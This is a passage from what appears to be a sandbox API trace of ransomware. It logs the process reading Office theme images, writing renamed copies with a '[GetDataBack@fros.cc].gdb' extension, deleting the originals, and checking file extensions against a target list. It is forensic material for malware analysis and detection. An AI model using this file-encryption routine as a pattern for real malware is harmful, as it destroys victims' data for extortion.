GetFileSizeEx (in: hFile=0x218, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=2848) returned 1 [0122.949] CloseHandle (hObject=0x218) returned 1 [0122.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 0x20 [0122.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0122.950] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0122.950] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0122.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0123.540] GetLastError () returned 0x0 [0123.540] ReadFile (in: hFile=0x218, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0xb20, lpOverlapped=0x0) returned 1 [0123.542] WriteFile (in: hFile=0x200, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xb30, lpOverlapped=0x0) returned 1 [0123.543] ReadFile (in: hFile=0x218, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0123.543] WriteFile (in: hFile=0x200, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xea, lpOverlapped=0x0) returned 1 [0123.543] SetEndOfFile (hFile=0x200) returned 1 [0123.891] CloseHandle (hObject=0x200) returned 1 [0123.903] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0123.914] SetEndOfFile (hFile=0x218) returned 1 [0123.968] CloseHandle (hObject=0x218) returned 1 [0123.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0123.969] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 1 [0123.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0123.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0123.969] lstrlenW (lpString=".doc") returned 4 [0123.969] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0123.969] lstrlenW (lpString=".docx") returned 5 [0123.969] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0123.969] lstrlenW (lpString=".pdf") returned 4 [0123.969] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0123.969] lstrlenW (lpString=".xls") returned 4 [0123.969] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0123.969] lstrlenW (lpString=".xlsx") returned 5 [0123.969] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0123.969] lstrlenW (lpString=".ppt") returned 4 [0123.969] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0123.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0123.970] lstrlenW (lpString=".zip") returned 4 [0123.970] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0123.970] lstrlenW (lpString=".rar") returned 4 [0123.970] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0123.970] lstrlenW (lpString=".bz2") returned 4 [0123.970] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0123.970] lstrlenW (lpString=".7z") returned 3 [0123.970] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0123.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0123.970] lstrlenW (lpString=".dbf") returned 4 [0123.970] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0123.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0123.970] lstrlenW (lpString=".1cd") returned 4 [0123.970] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0123.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0123.970] lstrlenW (lpString=".jpg") returned 4 [0123.970] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0123.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0123.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0123.970] lstrlenW (lpString=".doc") returned 4 [0123.970] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0123.970] lstrlenW (lpString=".docx") returned 5 [0123.970] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0123.970] lstrlenW (lpString=".pdf") returned 4 [0123.970] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0123.970] lstrlenW (lpString=".xls") returned 4 [0123.970] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0123.970] lstrlenW (lpString=".xlsx") returned 5 [0123.970] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0123.970] lstrlenW (lpString=".ppt") returned 4 [0123.971] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0123.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0123.971] lstrlenW (lpString=".zip") returned 4 [0123.971] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0123.971] lstrlenW (lpString=".rar") returned 4 [0123.971] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0123.971] lstrlenW (lpString=".bz2") returned 4 [0123.971] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0123.971] lstrlenW (lpString=".7z") returned 3 [0123.971] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0123.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0123.971] lstrlenW (lpString=".dbf") returned 4 [0123.971] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0123.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0123.971] lstrlenW (lpString=".1cd") returned 4 [0123.971] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0123.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0123.971] lstrlenW (lpString=".jpg") returned 4 [0123.971] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0123.971] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0123.971] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0123.971] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0123.972] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=1363) returned 1 [0123.972] CloseHandle (hObject=0x218) returned 1 [0123.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 0x20 [0123.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0123.972] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0123.972] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0123.972] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0123.972] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0124.353] GetLastError () returned 0x0 [0124.353] ReadFile (in: hFile=0x218, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x553, lpOverlapped=0x0) returned 1 [0124.422] WriteFile (in: hFile=0x198, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x560, lpOverlapped=0x0) returned 1 [0124.423] ReadFile (in: hFile=0x218, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0124.423] WriteFile (in: hFile=0x198, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xea, lpOverlapped=0x0) returned 1 [0124.424] SetEndOfFile (hFile=0x198) returned 1 [0124.424] CloseHandle (hObject=0x198) returned 1 [0124.424] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0124.424] SetEndOfFile (hFile=0x218) returned 1 [0124.425] CloseHandle (hObject=0x218) returned 1 [0124.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0124.425] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 1 [0124.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0124.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0124.425] lstrlenW (lpString=".doc") returned 4 [0124.425] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0124.425] lstrlenW (lpString=".docx") returned 5 [0124.426] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0124.426] lstrlenW (lpString=".pdf") returned 4 [0124.426] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0124.426] lstrlenW (lpString=".xls") returned 4 [0124.426] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0124.426] lstrlenW (lpString=".xlsx") returned 5 [0124.426] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0124.426] lstrlenW (lpString=".ppt") returned 4 [0124.426] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0124.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0124.426] lstrlenW (lpString=".zip") returned 4 [0124.426] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0124.426] lstrlenW (lpString=".rar") returned 4 [0124.426] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0124.426] lstrlenW (lpString=".bz2") returned 4 [0124.426] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0124.426] lstrlenW (lpString=".7z") returned 3 [0124.426] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0124.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0124.426] lstrlenW (lpString=".dbf") returned 4 [0124.426] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0124.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0124.426] lstrlenW (lpString=".1cd") returned 4 [0124.426] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0124.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0124.426] lstrlenW (lpString=".jpg") returned 4 [0124.426] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0124.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0124.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0124.426] lstrlenW (lpString=".doc") returned 4 [0124.426] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0124.426] lstrlenW (lpString=".docx") returned 5 [0124.426] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0124.427] lstrlenW (lpString=".pdf") returned 4 [0124.427] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0124.427] lstrlenW (lpString=".xls") returned 4 [0124.427] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0124.427] lstrlenW (lpString=".xlsx") returned 5 [0124.427] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0124.427] lstrlenW (lpString=".ppt") returned 4 [0124.427] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0124.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0124.427] lstrlenW (lpString=".zip") returned 4 [0124.427] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0124.427] lstrlenW (lpString=".rar") returned 4 [0124.427] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0124.427] lstrlenW (lpString=".bz2") returned 4 [0124.427] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0124.427] lstrlenW (lpString=".7z") returned 3 [0124.427] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0124.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0124.427] lstrlenW (lpString=".dbf") returned 4 [0124.427] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0124.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0124.427] lstrlenW (lpString=".1cd") returned 4 [0124.427] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0124.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0124.427] lstrlenW (lpString=".jpg") returned 4 [0124.427] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0124.427] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0124.427] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0124.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0124.428] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=1453) returned 1 [0124.428] CloseHandle (hObject=0x218) returned 1 [0124.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 0x20 [0124.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0124.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0124.429] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0124.429] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0124.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0124.473] GetLastError () returned 0x0 [0124.473] ReadFile (in: hFile=0x218, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x5ad, lpOverlapped=0x0) returned 1 [0124.523] WriteFile (in: hFile=0x210, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x5b0, lpOverlapped=0x0) returned 1 [0124.525] ReadFile (in: hFile=0x218, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0124.525] WriteFile (in: hFile=0x210, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xea, lpOverlapped=0x0) returned 1 [0124.525] SetEndOfFile (hFile=0x210) returned 1 [0124.525] CloseHandle (hObject=0x210) returned 1 [0124.526] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0124.526] SetEndOfFile (hFile=0x218) returned 1 [0124.526] CloseHandle (hObject=0x218) returned 1 [0124.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0124.527] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 1 [0124.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0124.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0124.527] lstrlenW (lpString=".doc") returned 4 [0124.527] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0124.527] lstrlenW (lpString=".docx") returned 5 [0124.527] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0124.527] lstrlenW (lpString=".pdf") returned 4 [0124.527] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0124.527] lstrlenW (lpString=".xls") returned 4 [0124.527] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0124.527] lstrlenW (lpString=".xlsx") returned 5 [0124.527] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0124.527] lstrlenW (lpString=".ppt") returned 4 [0124.527] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0124.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0124.527] lstrlenW (lpString=".zip") returned 4 [0124.528] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0124.528] lstrlenW (lpString=".rar") returned 4 [0124.528] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0124.528] lstrlenW (lpString=".bz2") returned 4 [0124.528] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0124.528] lstrlenW (lpString=".7z") returned 3 [0124.528] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0124.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0124.528] lstrlenW (lpString=".dbf") returned 4 [0124.528] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0124.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0124.528] lstrlenW (lpString=".1cd") returned 4 [0124.528] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0124.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0124.528] lstrlenW (lpString=".jpg") returned 4 [0124.528] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0124.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0124.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0124.528] lstrlenW (lpString=".doc") returned 4 [0124.528] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0124.528] lstrlenW (lpString=".docx") returned 5 [0124.528] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0124.528] lstrlenW (lpString=".pdf") returned 4 [0124.528] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0124.528] lstrlenW (lpString=".xls") returned 4 [0124.528] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0124.528] lstrlenW (lpString=".xlsx") returned 5 [0124.528] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0124.528] lstrlenW (lpString=".ppt") returned 4 [0124.528] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0124.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0124.528] lstrlenW (lpString=".zip") returned 4 [0124.528] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0124.528] lstrlenW (lpString=".rar") returned 4 [0124.529] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0124.529] lstrlenW (lpString=".bz2") returned 4 [0124.529] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0124.529] lstrlenW (lpString=".7z") returned 3 [0124.529] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0124.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0124.529] lstrlenW (lpString=".dbf") returned 4 [0124.529] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0124.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0124.529] lstrlenW (lpString=".1cd") returned 4 [0124.529] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0124.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0124.529] lstrlenW (lpString=".jpg") returned 4 [0124.529] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0124.529] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0124.529] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0124.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0124.618] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=25106) returned 1 [0124.618] CloseHandle (hObject=0x218) returned 1 [0124.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft 